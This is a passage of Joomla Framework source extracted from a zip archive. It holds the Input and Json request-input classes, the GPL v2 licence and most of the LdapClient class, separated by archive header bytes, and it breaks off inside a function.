* @method string getString($name, $default = null) Get a string.
* @method string getHtml($name, $default = null) Get a HTML
string.
* @method string getPath($name, $default = null) Get a file
path.
* @method string getUsername($name, $default = null) Get a
username.
*/
class Input implements \Serializable, \Countable
{
/**
* Container with allowed superglobals
*
* @var array
* @since 1.3.0
* @note Once PHP 7.1 is the minimum supported version this should
become a private constant
*/
private static $allowedGlobals = array('REQUEST',
'GET', 'POST', 'FILES', 'SERVER',
'ENV');
/**
* Options array for the Input instance.
*
* @var array
* @since 1.0
*/
protected $options = array();
/**
* Filter object to use.
*
* @var Filter\InputFilter
* @since 1.0
*/
protected $filter;
/**
* Input data.
*
* @var array
* @since 1.0
*/
protected $data = array();
/**
* Input objects
*
* @var Input[]
* @since 1.0
*/
protected $inputs = array();
/**
* Is all GLOBAL added
*
* @var boolean
* @since 1.1.4
*/
protected static $loaded = false;
/**
* Constructor.
*
* @param array $source Optional source data. If omitted, a copy of
the server variable '_REQUEST' is used.
* @param array $options An optional associative array of
configuration parameters:
* filter: An instance of Filter\Input. If
omitted, a default filter is initialised.
*
* @since 1.0
*/
public function __construct($source = null, array $options = array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = new Filter\InputFilter;
}
if ($source === null)
{
$this->data = &$_REQUEST;
}
else
{
$this->data = $source;
}
// Set the options for the class.
$this->options = $options;
}
/**
* Magic method to get an input object
*
* @param mixed $name Name of the input object to retrieve.
*
* @return Input The request input object
*
* @since 1.0
*/
public function __get($name)
{
if (isset($this->inputs[$name]))
{
return $this->inputs[$name];
}
$className = '\\Joomla\\Input\\' . ucfirst($name);
if (class_exists($className))
{
$this->inputs[$name] = new $className(null, $this->options);
return $this->inputs[$name];
}
$superGlobal = '_' . strtoupper($name);
if (\in_array(strtoupper($name), self::$allowedGlobals, true) &&
isset($GLOBALS[$superGlobal]))
{
$this->inputs[$name] = new Input($GLOBALS[$superGlobal],
$this->options);
return $this->inputs[$name];
}
// TODO throw an exception
}
/**
* Get the number of variables.
*
* @return integer The number of variables in the input.
*
* @since 1.0
* @see Countable::count()
*/
public function count()
{
return \count($this->data);
}
/**
* Gets a value from the input data.
*
* @param string $name Name of the value to get.
* @param mixed $default Default value to return if variable does not
exist.
* @param string $filter Filter to apply to the value.
*
* @return mixed The filtered input value.
*
* @see \Joomla\Filter\InputFilter::clean()
* @since 1.0
*/
public function get($name, $default = null, $filter = 'cmd')
{
if (isset($this->data[$name]))
{
return $this->filter->clean($this->data[$name], $filter);
}
return $default;
}
/**
* Gets an array of values from the request.
*
* @param array $vars Associative array of keys and filter types
to apply.
* If empty and datasource is null, all the
input data will be returned
* but filtered using the default case in
JFilterInput::clean.
* @param mixed $datasource Array to retrieve data from, or null
*
* @return mixed The filtered input data.
*
* @since 1.0
*/
public function getArray(array $vars = array(), $datasource = null)
{
if (empty($vars) && $datasource === null)
{
$vars = $this->data;
}
$results = array();
foreach ($vars as $k => $v)
{
if (\is_array($v))
{
if ($datasource === null)
{
$results[$k] = $this->getArray($v, $this->get($k, null,
'array'));
}
else
{
$results[$k] = $this->getArray($v, $datasource[$k]);
}
}
else
{
if ($datasource === null)
{
$results[$k] = $this->get($k, null, $v);
}
elseif (isset($datasource[$k]))
{
$results[$k] = $this->filter->clean($datasource[$k], $v);
}
else
{
$results[$k] = $this->filter->clean(null, $v);
}
}
}
return $results;
}
/**
* Get the Input instance holding the data for the current request method
*
* @return Input
*
* @since 1.3.0
*/
public function getInputForRequestMethod()
{
switch (strtoupper($this->getMethod()))
{
case 'GET':
return $this->get;
case 'POST':
return $this->post;
default:
// PUT, PATCH, etc. don't have superglobals
return $this;
}
}
/**
* Sets a value
*
* @param string $name Name of the value to set.
* @param mixed $value Value to assign to the input.
*
* @return void
*
* @since 1.0
*/
public function set($name, $value)
{
$this->data[$name] = $value;
}
/**
* Define a value. The value will only be set if there's no value for
the name or if it is null.
*
* @param string $name Name of the value to define.
* @param mixed $value Value to assign to the input.
*
* @return void
*
* @since 1.0
*/
public function def($name, $value)
{
if (isset($this->data[$name]))
{
return;
}
$this->data[$name] = $value;
}
/**
* Check if a value name exists.
*
* @param string $name Value name
*
* @return boolean
*
* @since 1.2.0
*/
public function exists($name)
{
return isset($this->data[$name]);
}
/**
* Magic method to get filtered input data.
*
* @param string $name Name of the filter type prefixed with
'get'.
* @param array $arguments [0] The name of the variable [1] The
default value.
*
* @return mixed The filtered input value.
*
* @since 1.0
*/
public function __call($name, $arguments)
{
if (substr($name, 0, 3) == 'get')
{
$filter = substr($name, 3);
$default = null;
if (isset($arguments[1]))
{
$default = $arguments[1];
}
return $this->get($arguments[0], $default, $filter);
}
}
/**
* Gets the request method.
*
* @return string The request method.
*
* @since 1.0
*/
public function getMethod()
{
$method = strtoupper($_SERVER['REQUEST_METHOD']);
return $method;
}
/**
* Method to serialize the input.
*
* @return string The serialized input.
*
* @since 1.0
*/
public function serialize()
{
// Load all of the inputs.
$this->loadAllInputs();
// Remove $_ENV and $_SERVER from the inputs.
$inputs = $this->inputs;
unset($inputs['env'], $inputs['server']);
// Serialize the options, data, and inputs.
return serialize(array($this->options, $this->data, $inputs));
}
/**
* Method to unserialize the input.
*
* @param string $input The serialized input.
*
* @return void
*
* @since 1.0
*/
public function unserialize($input)
{
// Unserialize the options, data, and inputs.
list($this->options, $this->data, $this->inputs) =
unserialize($input);
// Load the filter.
if (isset($this->options['filter']))
{
$this->filter = $this->options['filter'];
}
else
{
$this->filter = new Filter\InputFilter;
}
}
/**
* Method to load all of the global inputs.
*
* @return void
*
* @since 1.0
*/
protected function loadAllInputs()
{
if (!self::$loaded)
{
// Load up all the globals.
foreach ($GLOBALS as $global => $data)
{
// Check if the global starts with an underscore and is allowed.
if (strpos($global, '_') === 0 &&
\in_array(substr($global, 1), self::$allowedGlobals, true))
{
// Convert global name to input name.
$global = strtolower($global);
$global = substr($global, 1);
// Get the input.
$this->$global;
}
}
self::$loaded = true;
}
}
}
PK�[h� �input/src/Json.phpnu�[���<?php
/**
* Part of the Joomla Framework Input Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Input;
use Joomla\Filter;
/**
* Joomla! Input JSON Class
*
* This class decodes a JSON string from the raw request data and makes it
available via
* the standard Input interface.
*
* @since 1.0
*/
class Json extends Input
{
/**
* @var string The raw JSON string from the request.
* @since 1.0
*/
private $raw;
/**
* Constructor.
*
* @param array $source Source data (Optional, default is the raw
HTTP input decoded from JSON)
* @param array $options Array of configuration parameters (Optional)
*
* @since 1.0
*/
public function __construct($source = null, array $options = array())
{
if (isset($options['filter']))
{
$this->filter = $options['filter'];
}
else
{
$this->filter = new Filter\InputFilter;
}
if ($source === null)
{
$this->raw = file_get_contents('php://input');
// This is a workaround for where php://input has already been read.
// See note under php://input on
https://www.php.net/manual/en/wrappers.php.php
if (empty($this->raw) &&
isset($GLOBALS['HTTP_RAW_POST_DATA']))
{
$this->raw = $GLOBALS['HTTP_RAW_POST_DATA'];
}
$this->data = json_decode($this->raw, true);
if (!\is_array($this->data))
{
$this->data = array();
}
}
else
{
$this->data = $source;
}
// Set the options for the class.
$this->options = $options;
}
/**
* Gets the raw JSON string from the request.
*
* @return string The raw JSON string from the request.
*
* @since 1.0
*/
public function getRaw()
{
return $this->raw;
}
}
PK�[�P�E�Eldap/LICENSEnu�[���GNU GENERAL PUBLIC
LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PK�[P���>�>ldap/src/LdapClient.phpnu�[���<?php
/**
* Part of the Joomla Framework LDAP Package
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Ldap;
/**
* LDAP client class
*
* @since 1.0
* @deprecated The joomla/ldap package is deprecated
*/
class LdapClient
{
/**
* Hostname of LDAP server
*
* @var string
* @since 1.0
*/
public $host;
/**
* Authorization Method to use
*
* @var boolean
* @since 1.0
*/
public $auth_method;
/**
* Port of LDAP server
*
* @var integer
* @since 1.0
*/
public $port;
/**
* Base DN (e.g. o=MyDir)
*
* @var string
* @since 1.0
*/
public $base_dn;
/**
* User DN (e.g. cn=Users,o=MyDir)
*
* @var string
* @since 1.0
*/
public $users_dn;
/**
* Search String
*
* @var string
* @since 1.0
*/
public $search_string;
/**
* Use LDAP Version 3
*
* @var boolean
* @since 1.0
*/
public $use_ldapV3;
/**
* No referrals (server transfers)
*
* @var boolean
* @since 1.0
*/
public $no_referrals;
/**
* Negotiate TLS (encrypted communications)
*
* @var boolean
* @since 1.0
*/
public $negotiate_tls;
/**
* Ignore TLS Certificate (encrypted communications)
*
* @var boolean
* @since 1.5.0
*/
public $ignore_reqcert_tls;
/**
* Enable LDAP debug
*
* @var boolean
* @since 1.5.0
*/
public $ldap_debug;
/**
* Username to connect to server
*
* @var string
* @since 1.0
*/
public $username;
/**
* Password to connect to server
*
* @var string
* @since 1.0
*/
public $password;
/**
* LDAP Resource Identifier
*
* @var resource
* @since 1.0
*/
private $resource;
/**
* Current DN
*
* @var string
* @since 1.0
*/
private $dn;
/**
* Flag tracking whether the connection has been bound
*
* @var boolean
* @since 1.3.0
*/
private $isBound = false;
/**
* Constructor
*
* @param object $configObj An object of configuration variables
*
* @since 1.0
*/
public function __construct($configObj = null)
{
if (\is_object($configObj))
{
$vars = get_class_vars(\get_class($this));
foreach (array_keys($vars) as $var)
{
if (substr($var, 0, 1) != '_')
{
$param = $configObj->get($var);
if ($param)
{
$this->$var = $param;
}
}
}
}
}
/**
* Class destructor.
*
* @since 1.3.0
*/
public function __destruct()
{
$this->close();
}
/**
* Connect to an LDAP server
*
* @return boolean
*
* @since 1.0
*/
public function connect()
{
if ($this->host == '')
{
return false;
}
if ($this->ignore_reqcert_tls)
{
putenv('LDAPTLS_REQCERT=never');
}
if ($this->ldap_debug)
{
ldap_set_option(null, LDAP_OPT_DEBUG_LEVEL, 7);
}
$this->resource = ldap_connect($this->host, $this->port);
if (!$this->resource)
{
return false;
}
if ($this->use_ldapV3 && !ldap_set_option($this->resource,
LDAP_OPT_PROTOCOL_VERSION, 3))
{
return false;
}
if (!ldap_set_option($this->resource, LDAP_OPT_REFERRALS, (int)
$this->no_referrals))
{
return false;
}
if ($this->negotiate_tls &&
!ldap_start_tls($this->resource))
{
return false;
}
return true;
}
/**
* Close the connection
*
* @return void
*
* @since 1.0
*/
public function close()
{
if ($this->isConnected())
{
$this->unbind();
}
$this->resource = null;
}
/**
* Sets the DN with some template replacements
*
* @param string $username The username
* @param string $nosub ...
*
* @return void
*
* @since 1.0
*/
public function setDn($username, $nosub = 0)
{
if ($this->users_dn == '' || $nosub)
{
$this->dn = $username;
}
elseif (\strlen($username))
{
$this->dn = str_replace('[username]', $username,
$this->users_dn);
}
else
{
$this->dn = '';
}
}
/**
* Get the configured DN
*
* @return string
*
* @since 1.0
*/
public function getDn()
{
return $this->dn;
}
/**
* Anonymously binds to LDAP directory
*
* @return boolean
*
* @since 1.0
*/
public function anonymous_bind()
{
if (!$this->isConnected())
{
if (!$this->connect())
{
return false;
}
}
$this->isBound = ldap_bind($this->resource);
return $this->isBound;
}
/**
* Binds to the LDAP directory
*
* @param string $username The username
* @param string $password The password
* @param string $nosub ...
*
* @return boolean
*
* @since 1.0
*/
public function bind($username = null, $password = null, $nosub = 0)
{
if (!$this->isConnected())
{
if (!$this->connect())
{
return false;
}
}
if ($username === null)
{
$username = $this->username;
}
if ($password === null)
{
$password = $this->password;
}
$this->setDn($username, $nosub);
$this->isBound = ldap_bind($this->resource, $this->getDn(),
$password);
return $this->isBound;
}
/**
* Unbinds from the LDAP directory
*
* @return boolean
*
* @since 1.3.0
*/
public function unbind()
{
if ($this->isBound && $this->resource &&
\is_resource($this->resource))
{
return ldap_unbind($this->resource);
}
return true;
}
/**
* Perform an LDAP search using comma separated search strings
*
* @param string $search search string of search values
*
* @return array Search results
*
* @since 1.0
*/
public function simple_search($search)
{
$results = explode(';', $search);
foreach ($results as $key => $result)
{
$results[$key] = '(' . $result . ')';
}
return $this->search($results);
}
/**
* Performs an LDAP search
*
* @param array $filters Search Filters (array of strings)
* @param string $dnoverride DN Override
* @param array $attributes An array of attributes to return (if
empty, all fields are returned).
*
* @return array Multidimensional array of results
*
* @since 1.0
*/
public function search(array $filters, $dnoverride = null, array
$attributes = array())
{
$result = array();
if (!$this->isBound || !$this->isConnected())
{
return $result;
}
if ($dnoverride)
{
$dn = $dnoverride;
}
else
{
$dn = $this->base_dn;
}
foreach ($filters as $searchFilter)
{
$searchResult = ldap_search($this->resource, $dn, $searchFilter,
$attributes);
if ($searchResult && ($count =
ldap_count_entries($this->resource, $searchResult)) > 0)
{
for ($i = 0; $i < $count; $i++)
{
$result[$i] = array();
if (!$i)
{
$firstentry = ldap_first_entry($this->resource, $searchResult);
}
else
{
$firstentry = ldap_next_entry($this->resource, $firstentry);
}
// Load user-specified attributes
$attributeResult = ldap_get_attributes($this->resource,
$firstentry);
// LDAP returns an array of arrays, fit this into attributes result
array
foreach ($attributeResult as $ki => $ai)
{
if (\is_array($ai))
{
$subcount = $ai['count'];
$result[$i][$ki] = array();
for ($k = 0; $k < $subcount; $k++)
{
$result[$i][$ki][$k] = $ai[$k];
}
}
}
$result[$i]['dn'] = ldap_get_dn($this->resource,
$firstentry);
}
}
}
return $result;
}
/**
* Replace attribute values with new ones
*
* @param string $dn The DN which contains the attribute you
want to replace
* @param string $attribute The attribute values you want to replace
*
* @return boolean
*
* @since 1.0
*/
public function replace($dn, $attribute)
{
if (!$this->isBound || !$this->isConnected())
{
return false;
}
return ldap_mod_replace($this->resource, $dn, $attribute);
}
/**
* Modify an LDAP entry
*
* @param string $dn The DN which contains the attribute you
want to modify
* @param string $attribute The attribute values you want to modify
*
* @return boolean
*
* @since 1.0
*/
public function modify($dn, $attribute)
{
if (!$this->isBound || !$this->isConnected())
{
return false;
}
return ldap_modify($this->resource, $dn, $attribute);
}
/**
* Delete attribute values from current attributes
*
* @param string $dn The DN which contains the attribute you
want to remove
* @param string $attribute The attribute values you want to remove
*
* @return boolean
*
* @since 1.0
*/
public function remove($dn, $attribute)
{
if (!$this->isBound || !$this->isConnected())
{
return false;
}
return ldap_mod_del($this->resource, $dn, $attribute);
}
/**
* Compare value of attribute found in entry specified with DN
*
* @param string $dn The DN which contains the attribute you
want to compare
* @param string $attribute The attribute whose value you want to
compare
* @param string $value The value you want to check against the
LDAP attribute
*
* @return boolean|integer Boolean result of the comparison or -1 on
error
*
* @since 1.0
*/
public function compare($dn, $attribute, $value)
{
if (!$this->isBound || !$this->isConnected())
{
return false;
}
return ldap_compare($this->resource, $dn, $attribute, $value);
}
/**
* Read attributes of a given DN
*
* @param string $dn The DN of the object you want to read
*
* @return array|boolean Array of attributes for the given DN or boolean
false on failure
*
* @since 1.0
*/
public function read($dn)
{
if (!$this->isBound || !$this->isConnected())
{
return false;
}
$base = substr($dn, strpos($dn, ',') + 1);
$cn = substr($dn, 0, strpos($dn, ','));
$result = ldap_read($this->resource, $base, $cn);
if ($result === false)
{
return false;
}
return ldap_get_entries($this->resource, $result);
}
/**
* Delete an entry from a directory
*
* @param string $dn The DN of the object you want to delete
*
* @return boolean
*
* @since 1.0
*/
public function delete($dn)
{
if (!$this->isBound || !$this->isConnected())
{
return false;
}
return ldap_delete($this->resource, $dn);
}
/**
* Add entries to LDAP directory
*
* @param string $dn The DN where you want to put the object
* @param array $entries An array of arrays describing the object to
add
*
* @return boolean
*
* @since 1.0
*/
public function create($dn, array $entries)
{
if (!$this->isBound || !$this->isConnected())
{
return false;
}
return ldap_add($this->resource, $dn, $entries);
}
/**
* Add attribute values to current attributes
*
* @param string $dn The DN of the entry to add the attribute
* @param array $entry An array of arrays with attributes to add
*
* @return boolean
*
* @since 1.0
*/
public function add($dn, array $entry)
{
if (!$this->isBound || !$this->isConnected())
{
return false;
}
return ldap_mod_add($this->resource, $dn, $entry);
}
/**
* Modify the name of an entry
*
* @param string $dn The DN of the entry at the moment
* @param string $newdn The DN of the entry should be (only
cn=newvalue)
* @param string $newparent The full DN of the parent (null by
default)
* @param boolean $deleteolddn Delete the old values (default)
*
* @return boolean
*
* @since 1.0
*/
public function rename($dn, $newdn, $newparent, $deleteolddn)
{
if (!$this->isBound || !$this->isConnected())
{
return false;
}
return ldap_rename($this->resource, $dn, $newdn, $newparent,
$deleteolddn);
}
/**
* Escape a string
*
* @param string $value The subject string
* @param string $ignore Characters to ignore when escaping.
* @param integer $flags The context the escaped string will be used
in LDAP_ESCAPE_FILTER or LDAP_ESCAPE_DN
*
* @return string
*
* @since 1.2.0
*/
public function escape($value, $ignore = '', $flags = 0)
{
return ldap_escape($value, $ignore, $flags);
}
/**
* Return the LDAP error message of the last LDAP command
*
* @return string
*
* @since 1.0
*/
public function getErrorMsg()
{
if (!$this->isBound || !$this->isConnected())
{
return '';
}
return ldap_error($this->resource);
}
/**
* Check if the connection is established
*
* @return boolean
*
* @since 1.3.0
*/
public function isConnected()
{
return $this->resource && \is_resource($this->resource);
}
/**
* Converts a dot notation IP address to net address (e.g. for Netware,
etc)
*
* @param string $ip IP Address (e.g. xxx.xxx.xxx.xxx)
*
* @return string
*
* @since 1.0
*/
public static function ipToNetAddress($ip)
{
$parts = explode('.', $ip);
$address = '1#';
foreach ($parts as $int)
{
$tmp = dechex($int);
if (\strlen($tmp) != 2)
{
$tmp = '0' . $tmp;
}
$address .= '\\' . $tmp;
}
return $address;
}
/**
* Extract readable network address from the LDAP encoded networkAddress
attribute.
*
* Please keep this document block and author attribution in place.
*
* Novell Docs, see:
http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5624.html#sdk5624
* for Address types:
http://developer.novell.com/ndk/doc/ndslib/index.html?page=/ndk/doc/ndslib/schm_enu/data/sdk4170.html
* LDAP Format, String:
* taggedData = uint32String "#" octetstring
* byte 0 = uint32String = Address Type: 0= IPX Address; 1 = IP Address
* byte 1 = char = "#" - separator
* byte 2+ = octetstring - the ordinal value of the address
* Note: with eDirectory 8.6.2, the IP address (type 1) returns
* correctly, however, an IPX address does not seem to. eDir 8.7 may
correct this.
* Enhancement made by Merijn van de Schoot:
* If addresstype is 8 (UDP) or 9 (TCP) do some additional parsing like
still returning the IP address
*
* @param string $networkaddress The network address
*
* @return array
*
* @author Jay Burrell, Systems & Networks, Mississippi State
University
* @since 1.0
*/
public static function ldapNetAddr($networkaddress)
{
$addr = '';
